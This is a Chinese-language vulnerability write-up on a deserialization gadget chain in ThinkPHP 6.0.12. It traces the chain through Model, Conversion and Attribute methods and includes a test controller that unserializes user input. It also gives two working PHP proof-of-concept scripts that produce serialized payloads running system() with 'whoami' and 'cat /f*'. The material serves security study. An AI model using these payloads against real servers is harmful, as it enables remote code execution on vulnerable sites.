跳到主要内容

Thinkphp6.0.12反序列化

作者修订时间
wjlin02025-08-19 16:46:59

Thinkphp6.0.12

php 7.4.0

composer create-project topthink/think=6.0.12 tp6

测试代码

  1. 在项目目录下创建一个测试控制器

php think make:controller Test

  1. 在Test控制器 index方法中添加
    public function index()
{
if ($a=input('param.a')){
var_dump(base64_decode($a));
echo "<br>";
unserialize(base64_decode($a));
}
}

漏洞分析

​ 1.在大佬的文章总结中, 反序列化 一般起点出现在__desturct 和 __wakeup 通过全局搜索 查询满足条件的 在:vendor\topthink\think-orm\src\Model.php(大佬怎么说我怎么写)

image-20220303180420019

  1. 第一个条件 要把 $this->lazySave设置为True

    跟进$this->save(), $this->isEmpty() 只要保证data 不为空就行 $this->trigger('BeforeWrite')) 默认返回为真

public function isEmpty(): bool
{
return empty($this->data);
}
  1. $this->exists设置为True,跟进 $this -> updateData()

image-20220303181123318

  1. 在 621列 $allowFields = $this->checkAllowFields() 跟进

image-20220303181558066

  1. 继续跟进 565列 $query = $this->db();

image-20220303181719266

  1. 在362行将 $this->table . $this->suffix 拼接在一起,将$this->table 设置为一个对象 触发 __toString

image-20220303181958370

  1. 全局查找__toString 最后在 vendor\topthink\think-orm\src\model\concern\Conversion.php 中找到__toString()(以前版本也是在这里出现漏洞的,反正很好找到)这里是一个代码复用的机制所以不用将$this->table 设置成特定类, 刚好Model抽象类也有用到 use model\concern\Conversion 所以这里直接实例化本身就行

image-20220303183151437

  1. 继续跟进$this->toArray() ,将 $this->data 设置为数据即可进入循环, 在238 中跟进 $key$data的键名

image-20220303183401764

  1. 跟进$this->getAttr($key)

image-20220303183631626

$name 可控不提

$value$this->getData($name)返回值 ,跟进一下

image-20220303183905068

$fieldName 跟进一下

image-20220303183952916

$fieldName 可控, 返回的是 $this->data[$fieldName]

很明显这个$value就是 $this->data的值,

  1. 继续跟进$this->getValue($name, $value, $relation);

image-20220303184253914

第 509 行 ,$fieldName$this->data 键名 ,将this->json 设置成 $this->data的键名,$this->withAttr[$fieldName] 设置成 数组就行

  1. 跟进$this->getJsonValue($fieldName, $value),保证$this->jsonAssoc为真即可,将$this->withAttr的 值设置成你需要执行的函数,而 $this->data的值设置为 需要执行的代码即可

image-20220303185128690

POC

<?php
namespace think{
abstract class Model{
private $lazySave;
private $data;
protected $table;
private $withAttr;
protected $json ;
protected $jsonAssoc;
private $exists;
public function __construct($obj = '')
{
$this->lazySave = True;
$this->exists = True;
$this->data = ['arr' =>['whoami']];
$this->table = $obj;
$this->withAttr = ['arr'=>['system']];
$this->json = ['arr'];
$this->jsonAssoc = True;
}
}
}
namespace think\Model{
use think\Model;
class Pivot extends Model{
}
}

namespace {
$a = new think\model\Pivot();
$b = new think\model\Pivot($a);
echo base64_encode(serialize($b));

}

结果

image-20220303185727488

<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["key" => ["key1" => "cat /f*"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));